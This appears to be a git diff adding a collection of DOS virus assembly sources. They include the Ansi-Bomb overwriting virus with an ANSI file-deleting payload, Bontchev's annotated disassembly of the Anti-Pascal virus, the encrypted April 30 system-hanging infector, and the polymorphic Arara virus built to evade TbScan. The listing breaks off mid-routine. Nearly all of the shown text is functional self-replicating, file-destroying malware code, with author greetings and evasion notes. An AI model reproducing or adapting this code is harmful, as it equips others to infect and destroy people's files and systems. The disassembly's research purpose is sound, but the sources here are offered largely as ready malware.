_ + RET ;RET_Near ;002F7 C3 _ +;--------------------------------------------------- +H002F8: PUSH ES ;002F8 06 _ + MOV AX,[SI+040Fh] ;002F9 8B840F04 ____ + AND AX,0007h ;002FD 250700 %__ + CMP AX,0006h ;00300 3D0600 =__ + JNZ H0031A ;00303 7515 u_ + MOV AX,0040h ;00305 B84000 _@_ + MOV ES,AX ;ES_Chg ;00308 8EC0 __ + MOV AX,ES:[000Ch] ;ES_Ovrd ;0030A 26A10C00 &___ + OR AX,AX ;0030E 0BC0 __ + JNZ H0031A ;00310 7508 u_ + INC Word Ptr ES:[000Ch] + ;ES_Ovrd ;00312 26FF060C00 &____ + CALL H0031C ; . . . . . . . . . ;00317 E80200 ___ +H0031A: POP ES ;0031A 07 _ + RET ;RET_Near ;0031B C3 _ +;--------------------------------------------------- +H0031C: PUSH DS ;0031C 1E _ + MOV DI,0B800h ;0031D BF00B8 ___ + MOV AX,0040h ;00320 B84000 _@_ + MOV DS,AX ;DS_Chg ;00323 8ED8 __ + MOV AL,DS:[0049h] ;00325 A04900 _I_ + CMP AL,07h ;00328 3C07 <_ + JNZ H0032F ;0032A 7503 u_ + MOV DI,0B000h ;0032C BF00B0 ___ +H0032F: MOV ES,DI ;ES_Chg ;0032F 8EC7 __ + POP DS ;00331 1F _ + MOV BP,0FFF0h ;00332 BDF0FF ___ + MOV DX,0000h ;00335 BA0000 ___ + MOV CX,0010h ;00338 B91000 ___ + CALL H0037D ; . . . . . . . . . ;0033B E83F00 _?_ + INC DX ;0033E 42 B + LOOP H0033B ;0033F E2FA __ + CALL H0035A ; . . . . . . . . . ;00341 E81600 ___ + CALL H003C2 ; . . . . . . . . . ;00344 E87B00 _{_ + INC BP ;00347 45 E + CMP BP,+50h ;00348 83FD50 __P + JNZ H00335 ;0034B 75E8 u_ + CALL SILENC ; . . . . . . . . . ;0034D E80300 ___ + PUSH DS ;00350 1E _ + POP ES ;00351 07 _ + RET ;RET_Near ;00352 C3 _ +;--------------------------------------------------- +;********** Silence speaker +SILENC: IN AL,61h ;Port_IN:61h ;00353 E461 _a + AND AL,0FCh ;00355 24FC $_ + OUT 61h,AL ;Port_OUT:61h ;00357 E661 _a + RET ;RET_Near ;00359 C3 _ +;--------------------------------------------------- +H0035A: MOV DX,07D0h ;0035A BAD007 ___ + TEST BP,0004h ;0035D F7C50400 ____ + JZ H00366 ;00361 7403 t_ + MOV DX,0BB8h ;00363 BAB80B ___ +H00366: IN AL,61h ;Port_IN:61h ;00366 E461 _a + TEST AL,03h ;00368 A803 __ + JNZ H00374 ;0036A 7508 u_ + OR AL,03h ;0036C 0C03 __ + OUT 61h,AL ;Port_OUT:61h ;0036E E661 _a + MOV AL,0B6h ;00370 B0B6 __ + OUT 43h,AL ;Port_OUT:43h ;00372 E643 _C +H00374: MOV AX,DX ;00374 8BC2 __ + OUT 42h,AL ;Port_OUT:42h ;00376 E642 _B + MOV AL,AH ;00378 88E0 __ + OUT 42h,AL ;Port_OUT:42h ;0037A E642 _B + RET ;RET_Near ;0037C C3 _ +;--------------------------------------------------- +H0037D: PUSH CX ;0037D 51 Q + PUSH DX ;0037E 52 R + LEA BX,[SI+03BFh] ;0037F 8D9CBF03 ____ + ADD BX,DX ;00383 03DA __ + ADD DX,BP ;00385 01EA __ + OR DX,DX ;00387 0BD2 __ + JS H003BF ;00389 7834 x4 + CMP DX,+50h ;0038B 83FA50 __P + JNB H003BF ;0038E 732F s/ + MOV DI,0C80h ;00390 BF800C ___ + ADD DI,DX ;00393 03FA __ + ADD DI,DX ;00395 03FA __ + SUB DX,BP ;00397 29EA )_ + MOV CX,0005h ;00399 B90500 ___ + MOV AH,07h ;0039C B407 __ + MOV AL,[BX] ;0039E 8A07 __ + SUB AL,07h ;003A0 2C07 ,_ + ADD AL,CL ;003A2 02C1 __ + SUB AL,DL ;003A4 28D0 (_ + CMP CX,+05h ;003A6 83F905 ___ + JNZ H003B5 ;003A9 750A u_ + MOV AH,0Fh ;003AB B40F __ + TEST BP,0003h ;003AD F7C50300 ____ + JZ H003B5 ;003B1 7402 t_ + MOV AL,20h ;003B3 B020 _ +H003B5: STOSW ;003B5 AB _ + ADD BX,+10h ;003B6 83C310 ___ + ADD DI,009Eh ;003B9 81C79E00 ____ + LOOP H0039C ;003BD E2DD __ +H003BF: POP DX ;003BF 5A Z + POP CX ;003C0 59 Y + RET ;RET_Near ;003C1 C3 _ +;--------------------------------------------------- +H003C2: PUSH DS ;003C2 1E _ + MOV AX,0040h ;003C3 B84000 _@_ + MOV DS,AX ;DS_Chg ;003C6 8ED8 __ + MOV AX,DS:[006Ch] ;003C8 A16C00 _l_ + CMP AX,DS:[006Ch] ;003CB 3B066C00 ;_l_ + JZ H003CB ;003CF 74FA t_ + POP DS ;003D1 1F _ + RET ;RET_Near ;003D2 C3 _ +;--------------------------------------------------- + DB '"' ;003D3 22 +;--------------------------------------------------- + AND SP,[SI] ;SP_Chg ;003D4 2324 #$ + AND AX,2726h ;003D6 252627 %&' + SUB [BX+DI],CH ;003D9 2829 () + DB 66h ;Indef_OP:66h ;003DB 66 f +;--------------------------------------------------- + XCHG DI,[BP+DI] ;003DC 873B _; + SUB AX,2F2Eh ;003DE 2D2E2F -./ + XOR [BX+DI],DH ;003E1 3031 01 + AND SP,AX ;SP_Chg ;003E3 23E0 #_ + LOOPZ H003C9 ;003E5 E1E2 __ + JCXZ H003CD ;003E7 E3E4 __ + IN AX,0E6h ;Port_IN:E6h ;003E9 E5E6 __ + OUT 0E7h,AX ;Port_OUT:E7h ;003EB E7E7 __ + JMP H0EFDA ;003ED E9EAEB ___ +;--------------------------------------------------- + XOR [BX+DI],DH ;003F0 3031 01 + XOR AH,[SI] ;003F2 3224 2$ + LOOPNZ H003D7 ;003F4 E0E1 __ + LOOP H003DB ;003F6 E2E3 __ + CALL H0EE25 ; . . . . . . . . . ;003F8 E82AEA _*_ + OUT 0E8h,AX ;Port_OUT:E8h ;003FB E7E8 __ + JMP H0342F ;003FD E92F30 _/0 +;--------------------------------------------------- + DB 6Dh ;286_INSW ;00400 6D m +;--------------------------------------------------- + XOR DH,[BP+DI] ;00401 3233 23 + AND AX,0E2E1h ;00403 25E1E2 %__ + JCXZ H003EC ;00406 E3E4 __ + IN AX,0E7h ;Port_IN:E7h ;00408 E5E7 __ + OUT 0E8h,AX ;Port_OUT:E8h ;0040A E7E8 __ + JMP H0EFF9 ;0040C E9EAEB ___ +;--------------------------------------------------- + IN AL,DX ;Port_IN:DX ;0040F EC _ + IN AX,DX ;Port_IN:DX ;00410 ED _ + OUT DX,AL ;Port_OUT:DX ;00411 EE _ + OUT DX,AX ;Port_OUT:DX ;00412 EF _ + OUT 0E7h,AL ;ES_Ovrd ;00413 26E6E7 &__ + SUB [BX+DI+5Ah],BX ;00416 29595A )YZ + SUB AL,0ECh ;00419 2CEC ,_ + IN AX,DX ;Port_IN:DX ;0041B ED _ + OUT DX,AL ;Port_OUT:DX ;0041C EE _ + OUT DX,AX ;Port_OUT:DX ;0041D EF _ + DB 0F0h ;LOCK:F0h ;0041E F0 _ + XOR AH,[BP+SI+34] ;0041F 326234 2b4 +;--------------------------------------------------- + HLT ;SYSTEM_HALT ;00422 F4 _ + OR AL,[BX+SI] ;00423 0A00 __ + JMP H00439 ;00425 E91100 ___ +;--------------------------------------------------- + DB 0B4h, 09h, 0BAh ;First three bytes ;00428 + DB 05,00 ;Dunno ;0042B + DB 0B4h, 09h, 0BAh ;First three bytes ;0042D + ;AGAIN! Wierd +P00100 ENDP + +CODE ENDS + END H00100 + +;------------------------------------------------------------------------------- diff --git a/a/Ansibomb.asm b/a/Ansibomb.asm new file mode 100755 index 0000000..df11c35 --- /dev/null +++ b/a/Ansibomb.asm @@ -0,0 +1,71 @@ +;| +;| ANSI-BOMB BY TESLA 5 +;| +;| THIS VIRUS IS LOSELY BASED ON THE WEFLOW 1993 VIRUS, WHICH WAS BASED +;| ON TRIDENT OVERWRITING VIRUS, MADE BY .... OF TRIDENT. DON'T TYPE +;| THIS FILE, OR WHEN YOU PRESS 'ENTER' YOUR DIR WILL BE ERASED. GREETINGS +;| TO TRIDENT, NUKE, PHALCOM/SKISM AND YAM. YOU DON'T KNOW ME, BUT I DO +;| KNOW YOU. APOLOGIES TO TRIDENT THAT I MADE THESE LAME VARIANTS OF +;| YOUR VIRUS, BUT I DON'T KNOW HOW OTHER INFECTION SCHEMES WORK. +;| REACTIONS ARE WELCOME. +;| + +START: JMP DOIT + + DB 8,8,8 + DB 'I HOPE YOU DON''T HAVE ANSI, BOY!' + DB 27,'[13;13;"ECHO Y|DEL.";13P' + DB 26 + +MSG: + DB 13,10,'HELLO! WHAT WILL YOU DO ABOUT THIS? BUY ORIGINALS TO AVOID ME AND MY 1500' + DB 13,10,'NASTY FRIENDS, BECAUSE WE ARE EVERYWHERE!',13,10,'$' + + DB ' ANSI-BOMB VIRUS BY TESLA 5 ' + +DOIT: MOV AH, 4EH + +SEEK: PUSH CS + POP DS + LEA DX,FSPEC + XOR CX,CX + INT 21H + JC DOMSG + + MOV AX,3D02H + MOV DX,9EH + INT 21H + + XCHG AX,BX + + MOV AH,40H + LEA DX,START + MOV CX,PRGLEN + INT 21H + + MOV AH,3EH + INT 21H + + MOV AH,4FH + JMP SEEK + +DOMSG: XOR CX,CX + MOV ES,CX + MOV AL,BYTE PTR ES:[46CH] + CMP AL,30H + JA EINDE + + MOV AH,9 + LEA DX,MSG + INT 21H + +EINDE: RET + +FSPEC DB '*.COM',0 + +PRGLEN EQU $-START + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/a/Ap-605.asm b/a/Ap-605.asm new file mode 100755 index 0000000..9a8f134 --- /dev/null +++ b/a/Ap-605.asm @@ -0,0 +1,391 @@ + page ,132 + name V605 + title V605 - The 'Anti-Pascal' Virus + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Anti-Pascal' Virus +; Disassembled by Vesselin Bontchev, June 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code,ds:code + + org 100 + +vlen = v_end-start +crit equ 12 + +start: + push ax ; Save registers used + push cx + push si + push di + push bx + push flen ; Save current file length + +; The operand of the instruction above is used as a signature by the virus + +sign equ $-2 + + jmp v_start ; Go to virus start + +flen dw vlen ; File length before infection +fmask db '*.' ; Mask for FindFirst/FindNext +fext db 'com', 0 ; The extension part of the file mask +parent db '..', 0 ; Path for changing to the parent dir + +com db 'com' ; File extensions used +bak db 'bak' +pas db 'pas' +wild db '???' +exe db 'exe' + +dta equ $ ; Disk Transfer Address area +drive db ? ;Drive to search for +pattern db 11d dup (?) ;Search pattern +reserve db 9 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 14d dup (?) ;File name found + +counter db ? +mem_seg dw ? ; Segment of the allocated I/O buffer +sizehld dw ? ; Size holder + +v_start: + mov counter,2 ; Set initial counter value + mov bx,1000 ; Shrink program memory size to 64 K + mov ah,4A + int 21 ; Do it + + mov ah,48 ; Allocate I/O buffer in memory + mov bx,vlen/16d+1 ; (at least vlen long) + int 21 ; Do it + jc cleanup ; Exit on error + mov mem_seg,ax ; Save the segment of the allocated memory + + mov ax,2524 ; Set critical error handler + mov dx,offset int_24 + int 21 ; Do it + + mov ah,1A ; Set new DTA area + mov dx,offset dta + int 21 ; Do it + + mov ah,19 ; Get default drive + int 21 + push ax ; Save it on stack + + call infect ; Proceed with infection + jc cleanup ; Exit on error + + int 11 ; Put equipment bits in ax + test ax,1 ; Diskette drives present? + jz cleanup ; Exit if not (?!) + + shl ax,1 ; Get number of floppy disk drives + shl ax,1 ; in AH (0-3 means 1-4 drives) + and ah,3 + + add ah,2 ; Convert the number of drives to + mov al,ah ; the range 2-5 and put it into BL + mov bx,ax + xor bh,bh + + cmp bl,3 ; More than 2 floppy drives? + ja many ; Check if the highest one is removable if so + mov bl,3 ; Otherwise check disk D: +many: + mov ax,4408 ; Check whether device is removable + int 21 + jc cleanup ; Exit on error (network) + or ax,ax ; Is device removable? + jz cleanup ; Exit if so + + mov dl,bl ; Otherwise select it as default + mov ah,0E + int 21 ; Do it + + call infect ; Proceed with this drive also + +cleanup: + pop dx ; Restore saved default disk from stack + mov ah,0E ; Set default drive + int 21 ; Do it + + pop flen ; Restore flen + + mov es,mem_seg ; Free allocated memory + mov ah,49 + int 21 ; Do it + + mov ah,4A ; Get all the available memory + push ds ; ES := DS + pop es + mov bx,-1 + int 21 ; Do it + + mov ah,4A ; Assign it to the program (the initial state) + int 21 ; Do it + + mov dx,80 ; Restore old DTA + mov ah,1A + int 21 ; Do it + + mov ax,2524 ; Restore old critical error handler + push ds ; Save DS + lds dx,dword ptr ds:[crit] + int 21 ; Do it + pop ds ; Restore DS + + pop bx ; Restore BX + + mov ax,4F ; Copy the program at exit_pgm into + mov es,ax ; the Intra-Aplication Communication + xor di,di ; Area (0000:04F0h) + mov si,offset exit_pgm + mov cx,pgm_end-exit_pgm ; exit_pgm length + cld + rep movsb ; Do it + mov ax,ds ; Correct the Far JMP instruction with + stosw ; the current DS value + + mov di,offset start ; Prepare for moving vlen bytes + mov si,flen ; from file end to start + add si,di + mov cx,vlen + push ds ; ES := DS + pop es +; jmp far ptr 004F:0000 ; Go to exit_pgm + db 0EA, 0, 0, 4F, 0 + +exit_pgm: + rep movsb ; Restore the original bytes of the file + pop di ; Restore registers used + pop si + pop cx + pop ax + db 0EA, 0, 1 ; JMP Far at XXXX:0100 +pgm_end equ $ + +lseek: + mov ah,42 + xor cx,cx ; Offset := 0 + xor dx,dx + int 21 ; Do it + ret ; And exit + +f_first: ; Find first file with extension pointed by SI + mov di,offset fext ; Point DI at extension part of fmask + cld ; Clear direction flag + movsw ; Copy the extension pointed by SI + movsb ; to file mask for FindFirst/FindNext + mov ah,4E ; Find first file matching fmask + mov cx,20 ; Normal files only + mov dx,offset fmask + ret ; Exit + +wr_body: + mov ax,3D02 ; Open file for reading and writing + mov dx,offset namez ; FIle name is in namez + int 21 ; Do it + mov bx,ax ; Save handle in BX + + mov ah,3F ; Read the first vlen bytes of the file + mov cx,vlen ; in the allocated memory buffer + push ds ; Save DS + mov ds,mem_seg + xor dx,dx + int 21 ; Do it + + mov ax,ds:[sign-start] ; Get virus signature + pop ds ; Restore DS + cmp ax,word ptr ds:[offset sign] ; File already infected? + je is_inf ; Exit if so + push ax ; Save AX + mov al,0 ; Lseek to the file beginning + call lseek ; Do it + mov ah,40 ; Write virus body over the + mov dx,offset start ; first bytes of the file + mov cx,sizehld ; Number of bytes to write + int 21 ; Do it + + pop ax ; Restore AX + dec counter ; Decrement counter + clc ; CF == 0 means infection successfully done + ret ; Exit +is_inf: + stc ; CF == 1 means file already infected + ret ; Exit + +destroy: + call f_first ; Find first file to detroy +f_next1: + int 21 ; Do it + jc no_more1 ; Exit if no more files + + mov ax,word ptr fsize ; Get file size + mov sizehld,ax ; And save it in sizehld + call wr_body ; Write virus body over the file + jc close1 ; Exit on error + mov si,offset com ; Change fmask to '*.COM' + call f_first ; Do it + mov ah,56 ; Rename file just destroyed as a .COM one + mov di,dx + mov dx,offset namez ; File name to rename + int 21 ; Do it + +; The RENAME function call will fall if file with this name already exists. + + jnc close1 ; Exit if all is OK + + mov si,offset exe ; Otherwise try to rename the file + call f_first ; as an .EXE one + mov ah,56 + int 21 ; Do it + +close1: + mov ah,3E ; Close the file handle + int 21 ; Do it + + cmp counter,0 ; Two files already infected? + je stop ; Stop if so + mov ah,4F ; Other wise proceed with the next file + jmp f_next1 + +; Here the returned error code in CF means: +; 0 - renaming unsuccessful +; 1 - renaming successful + +stop: + clc +no_more1: + cmc ; Complement CF (CF := not CF) + ret + +infect: + mov si,offset com ; Find the first .COM file in this dir + call f_first +f_next2: + int 21 ; Do it + jc do_damage ; Do damage if no such files + + mov ax,word ptr fsize ; Check the size of the file found + cmp ax,vlen ; Less than virus length? + jb close2 ; Too small, don't touch + cmp ax,0FFFF-vlen ; Bigger than 64 K - vlen? + ja close2 ; Too big, don't touch + mov flen,ax ; Save file length + mov sizehld,vlen + call wr_body ; Write virus body over the file + jc close2 ; Exit on error + cmp ax,6F43 ; ?! + je close2 + mov al,2 ; Lseek to file end + call lseek ; Do it + push ds ; Save DS + mov ds,mem_seg ; Write the original bytes from + mov cx,vlen ; the file beginning after its end + xor dx,dx + mov ah,40 + int 21 ; Do it + pop ds ; Restore DS + +close2: + mov ah,3E ; Close the file handle + int 21 ; Do it + + mov ah,4F ; Prepare for FindNext + cmp counter,0 ; Two files already infected? + jne f_next2 ; Continue if not + stc ; Otherwise set CF to indicate error +err_xit: + ret ; And exit + +do_damage: + mov si,offset bak ; Try to "infect" and rename a .BAK file + call destroy ; Do it + jc err_xit ; Exit if "infection" successful + mov si,offset pas ; Try to "infect" and rename a .PAS file + call destroy ; Do it + jc err_xit ; Exit if "infection" successful + mov si,offset wild ; Otherwise perform a subdirectory scan + call f_first + mov cx,110111b ; Find any ReadOnly/Hidden/System/Dir/Archive + +f_next3: + int 21 ; Do it + jc no_more2 ; Exit if no more + mov al,attrib ; Check attributes of the file found + test al,10000b ; Is it a directory? + jz bad_file ; Skip it if not + mov di,offset namez ; Otherwise get its name + cmp byte ptr [di],'.' ; "." or ".."? + je bad_file ; Skip it if so + mov dx,di ; Otherwise change to that subdirectory + mov ah,3Bh + int 21 ; Do it + + mov cx,16 ; Save the 44 bytes of dta on stack + mov si,offset dta ; Point SI at the first word of dta +lp1: + push word ptr [si] ; Push the current word + add si,2 ; Point SI at the next one + loop lp1 ; Loop until done + + call infect ; Preform infection on this subdirectory + + mov cx,16 ; Restore the bytes pushed + mov si,offset counter-2 ; Point SI at the last word of dta +lp2: + pop word ptr [si] ; Pop the current word from stack + sub si,2 ; Point SI at the previous word + loop lp2 ; Loop until done + + pushf ; Save flags + mov dx,offset parent + mov ah,3Bh ; Change to parent directory + int 21 ; Do it + popf ; Restore flags + jc err_xit ; Exit if infection done + +bad_file: + mov ah,4F ; Go find the next file + jmp f_next3 + +no_more2: + clc ; Return CF == 0 (no errors) + ret ; Exit + +int_24: ; Critical error handler + mov al,2 ; Abort suggested (?!) + iret ; Return + +v_end = $ + +; Here goes the rest of the original program (if any): + +; And here (after the end of file) are the overwritten first 650 bytes: + + db 0E9, 55, 2 + db 597d dup (90) + mov ax,4C00 ; Program terminate + int 21 + +code ends + end start + + \ No newline at end of file diff --git a/a/April30.a86 b/a/April30.a86 new file mode 100755 index 0000000..737110d --- /dev/null +++ b/a/April30.a86 @@ -0,0 +1,254 @@ +;****************************************************************************** +;* Written in * +;* April 30 Virus - Strain A A86 V3.22 * +;* ---------- * +;****************************************************************************** +;* "NightBird goes, * +;* Along with the Queen..." * +;****************************************************************************** +; Your are now looking at the result of my very first attempt to code +; a Virus. This virus is a non-Resident Self- encrypting Direct Action +; Com Infecter, which doesn't infect Command.com. The Virus is only active +; on April 30, showing the Message and Hanging the System..... +; You can recognize an infected File simply, the 4th Byte is a 'N'ightBird. +; +; Disclaimer: The Author will not be held responsible for any actions +; caused by this Virus. +; +; Note: Don't just say: " another booring virus.. ", instead +; be a teaching aid, and search for my pitfalls, (ofcoz +; if there are any!), so I can improve my code.... +; Please do so..... +; +; Enough of that crap talk, +; Greetingz go to... : John Tardy / TridenT and all other Members.. +; : Serge of (Ex) House Designs +; : All Virus-Writers around the globe +; +; Well that's it for now..... +; +; C U & Have pHun, +; (c) NightBird Dec. 1992. + + + org 100h ; Produce a Com File + +Start: jmp Prog ; + db 'N' ; Virus ID + + + +Prog: Push ax ; Save Possible Errors + call Main ; Get Virus +Main: pop bp ; Offset + sub bp,offset Main ; IP = BP + + lea si,Restore[bp] ; + mov di,si ; + mov cx,CrypterLen ; Decrypt +Decrypt: lodsb ; the +Key: Add al,0 ; Virus + stosb ; + loop Decrypt ; + +Decryptlen equ $-Prog ; + + +Restore: lea si,[bp+Restore_Host] ; Restore + mov di,100h ; the Original + movsw ; 4 Bytes of the + movsw ; Host Program + + mov ah,2ah ; Is it + int 21h ; the 30 of + cmp dh,4 ; April? + jne Start_Virus ; Yes, Show Txt + cmp dl,30 ; No, Continue + jne Start_Virus ; with Start_Virus + + mov ah,09h ; + lea dx,Txt[bp] ; Show Txt + int 21h ; And lock +HyperSpace: cli ; the Computer + jmp HyperSpace ; + + + +Start_Virus: mov ax,3524h ; Get Adress of + int 21h ; Interrupt 24h + + lea Oldint24h[bp],es ; Store + lea Oldint24h+2[bp],bx ; them... + + push cs ; Cs = Es + pop es ; Register + + mov ax,2524h ; Install a new + lea dx,Newint24h ; Int. to suppres + int 21h ; Errors.. + + mov ah,1ah ; Move DTA + mov dx,dta ; to a save + int 21h ; place + + mov ah,4eh ; +Search: lea dx,[bp+Filespec] ; Search + xor cx,cx ; for a com file, and + int 21h ; and quit if error + jnc Found ; + jmp End_Virus ; + +Found: cmp word ptr [bp+offset dta+35],'DN' ; Check If Command.com + je Find_Next_one ; + + mov ax,4300h ; Fetch file + mov dx,dta+1eh ; Attribute + int 21h ; and store it + push cx ; on stack + + mov ax,4301h ; Set attribute + mov cx,cx ; for use + int 21h ; + + mov ax,3d02h ; Open file + int 21h ; Dx = 0fd1eh + xchg ax,bx ; BX = FileHandle + + mov ax,5700h ; Get file/date + int 21h ; format and + push cx ; store them + push dx ; on stack + + mov ah,3fh ; Read 4 Bytes + lea dx,[bp+Restore_Host] ; and save + mov cx,4 ; them.. + int 21h + + mov ax,[Restore_Host+bp] ; Check + cmp ax,'MZ' ; if it is + je Exit ; a renamed + cmp ax,'ZM' ; Exe-File + je exit ; + + mov ah,[bp+Restore_Host+3] ; Check if Already + cmp ah,'N' ; infected + jne Infect + ; Jump to Sub-Routine +Exit: Call Close + +Find_Next_one: mov ah,4fh ; Try Another + jmp Search ; file... + +Infect: mov ax,4202h ; Move File + xor cx,cx ; Pointer to + xor dx,dx ; the End of + int 21h ; the File + + cmp ax,0fb00h ; File too + jae Exit ; Big + + cmp ax,Minlen ; File too + jbe Exit ; Short + + sub ax,3 ; Save Jmp + mov word ptr [bp+Jmp_to_Virus]+1,ax ; + +Zero: mov ah,2ch ; (If the key + int 21h ; is 0,go Zero) + cmp dl,0 ; + jne Continue ; Get Seconds + jmp Zero ; to save as +Continue: mov key+1[bp],dl ; Decrypter-Key + lea si,[Prog+bp] ; + mov di,0fd00h ; Move the + mov cx,Decryptlen ; Decrypter + rep movsb ; Part + + lea si,Restore[bp] ; + mov cx,Crypterlen ; Decrypt behind +Encrypt: lodsb ; the + Sub al,dl ; Decrypter + stosb ; + loop encrypt ; + + mov ah,40h ; Write Virus + lea dx,0fd00h ; at the end + mov cx,virlen ; of the file! + int 21h ; + + mov ax,4200h ; Move File + xor cx,cx ; Pointer to + xor dx,dx ; the start of + int 21h ; the file + + mov ah,40h ; Write Virus-Jmp + lea dx,Jmp_to_Virus[bp] ; to the begin + mov cx,4 ; of the file + int 21h ; + + call close ; Jump to Sub-Routine + + + +End_Virus: mov ax,2524h ; + lea bx,Oldint24h[bp] ; Restore Old + mov ds,bx ; (Critical Error) + lea dx,Oldint24h+2[bp] ; Interrupt 24h + int 21h ; + + push cs ; Cs = Ds + pop ds ; Register + + mov ah,1ah ; + mov dx,80h ; + int 21h ; Restore DTA + pop ax ; and go back + mov di,100h ; to the Host + push di ; Program + ret ; + + +Close: pop si ; Fetch IP from Stack + pop dx ; + pop cx ; Restore + mov ax,5701h ; Date/Time + int 21h ; + + mov ah,3eh ; Close + int 21h ; File + + mov ax,4301h ; + pop cx ; Restore File + mov dx,dta+1eh ; Attributes + int 21h ; + push si ; Restores IP + ret ; + +Newint24h: mov al,3 ; Suppres Errors + iret ; & Go back + +Oldint24h dd 0 + +Restore_Host db 0cdh,20h,0,0 + +Jmp_to_Virus db 0e9h,0,0,'N' + +Filespec db '*.com',0 + +Txt db 13,10,9,9,'"NightBird goes,',10,'Along with the Queen..."',13,10,7,'$' + +Names db '*April 30 Virus*' + +Dta equ 0fc00h + +Crypterlen equ $-Restore + +Virlen equ $-Prog + +Minlen equ Virlen*2 + + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/a/Arara1.a86 b/a/Arara1.a86 new file mode 100755 index 0000000..41666ad --- /dev/null +++ b/a/Arara1.a86 @@ -0,0 +1,420 @@ + ; + ; [Arara] Virus + ; Generated by [TVG] + ; Minor modifications done to avoid heuristic detection by TbScan + ; Cloaked with a minor polymorphic protection device + ; Created on Monday November 11, 1993 + ; Written for compilation in A86 pd assembler + ; + ; This is not a major virus, but I want to see how they react in the Virus + ; summary. Maybe they say it's from Bulgaria because of the language. Well, + ; if you want me to write something (fairly neutral) about satanism for a mag + ; then say it so. I try to keep it interesting... + ; + ; John Tardy + + + JMP MAIN + DB '' +MAIN: CALL GETOFS +GETOFS: MOV BP,SP + MOV BP,SS:[BP] + PUSH AX + SUB BP,GETOFS +MAINVIR EQU $ + CALL RANDOMIZE + MOV AX,[ORGPRG][BP] + LEA DI,100H + STOSW + MOV AX,[ORGPRG][2][BP] + STOSW + MOV AH,1AH + MOV DX,0FD00H + INT 21H + CALL CHANGE + + MOV AH,4EH +SEARCH: LEA DX,FILESPEC[BP] + XOR CX,CX + INT 21H + JNC NOERROR + JMP READY +NOERROR: MOV AX,4300H + MOV DX,0FD1EH + INT 21H + PUSH CX + MOV AX,4301H + XOR CX,CX + INT 21H + MOV AX,3D02H + MOV DX,0FD1EH + INT 21H + XCHG AX,BX + MOV AX,5700H + INT 21H + PUSH CX + PUSH DX + MOV AH,3FH + LEA DX,ORGPRG[BP] + MOV CX,4 + INT 21H + MOV CX,W ORGPRG[BP] + XOR CX,0FFFFH + CMP CX,0B2A5H + JE EXEFILE + CMP CX,0A5B2H + JE EXEFILE + CMP B ORGPRG[BP][3],'' + JE EXEFILE + MOV AX,4202H + XOR CX,CX + CWD + INT 21H + SUB AX,3 + MOV JUMP[1][BP],AX + PUSH BX + PUSH AX + CALL CHANGE + MOV DS,CS + LEA SI,MAIN[BP] + MOV CX,VIRLEN + MOV ES,CS + LEA DI,START[BP] + POP DX + ADD DX,103H + MOV AX,3 + + CALL ENCRYPT + + POP BX + MOV AH,40H + MOV DS,CS + LEA DX,START[BP] + INT 21H + + MOV AX,4200H + XOR CX,CX + CWD + INT 21H + MOV AH,40H + LEA DX,JUMP[BP] + MOV CX,4 + INT 21H + CALL CLOSE + JMP READY +EXEFILE: CALL CLOSE + MOV AH,4FH + JMP SEARCH +READY EQU $ +ERROR: MOV AH,1AH + MOV DX,80H + INT 21H + MOV DS,CS + POP AX + MOV BX,0FEFFH + XOR BX,0FFFFH + JMP BX +CLOSE: POP SI + POP DX + POP CX + MOV AX,5700H + INC AX + INT 21H + MOV AH,3EH + INT 21H + POP CX + MOV AX,4300H + INC AX + MOV DX,0FD1EH + INT 21H + MOV DS,CS + MOV ES,CS + PUSH SI + RET + DB '[ARARA]' +CHANGE: MOV AX,W WEXL[BP] + XCHG AL,AH + MOV W WEXL[BP],AX + RET + + ;--------------------------------------------------------------------------- + ; + ; Encryption engine + ; + ;--------------------------------------------------------------------------- + +RANDOMIZE: MOV CX,MTLEN +INCREASE: MOV SI,CX + INC B MT[SI][-1][BP] + LOOP INCREASE +CHECKIT: MOV CX,MTMAXLEN +CHECKVAL: MOV SI,CX + MOV AH,MT[SI][-1][BP] + MOV AL,MTMAX[SI][-1][BP] + CMP AH,AL + JB GOODVAL + MOV B MT[SI][-1][BP],0 +GOODVAL: LOOP CHECKVAL + XOR AX,AX + MOV DS,AX +NOTZERO: MOV AL,B DS:[046CH] + OR AL,AL + JZ NOTZERO + MOV DS,CS + MOV ENCRYPTVAL[BP],AL + RET + +DUMMY1 DW 0 ; offset mov bx,si,di +DUMMY2 DW 0 ; offset loop +CALNEWCX DW 0 + +ENCRYPT: PUSH DS + PUSH SI + PUSH CX + + MOV AMOUNT[BP],AX + + MOV COUNTLOOP[BP],CX + + MOV CALNEWCX[BP],DI + + LEA SI,MT[BP] + + CALL INSERTGARBAGE + XOR AX,AX + + LODSB + PUSH AX + LEA BX,VAL2T[BP] + CALL USETABLE + ADD AX,W [COUNTLOOP][BP] + STOSW + LODSB + PUSH AX + CALL INSERTGARBAGE + LEA BX,VAL3SUB[BP] + CALL USETABLE + POP AX + SHL AX,2 + POP BX + ADD AX,BX + LEA BX,VAL3T[BP] + CALL USETABLE + CALL INSERTGARBAGE + + LODSB + PUSH AX + PUSH AX + LEA BX,VAL1T[BP] + CALL USETABLE + MOV DUMMY1[BP],DI + STOSW + CALL INSERTGARBAGE + + MOV DUMMY2[BP],DI + LODSB + LEA BX,VAL4T[BP] + CALL USETABLE + POP BX + LODSB + MOV FUNCTION[BP],AL + SHL AX,2 + ADD AX,BX + LEA BX,VAL5T[BP] + CALL USETABLE + MOV AL,B [ENCRYPTVAL][BP] + STOSB + CALL INSERTGARBAGE + POP AX + LEA BX,VAL6T[BP] + CALL USETABLE + LODSB + LEA BX,VAL7T[BP] + CALL USETABLE + MOV AX,DI + MOV BX,DUMMY2[BP] + SUB AX,BX + NOT AX + STOSB + PUSH DI + MOV AX,CALNEWCX[BP] + SUB DI,AX + ADD DI,DX + MOV AX,DI + MOV DI,DUMMY1[BP] + STOSW + POP DI + + POP CX + 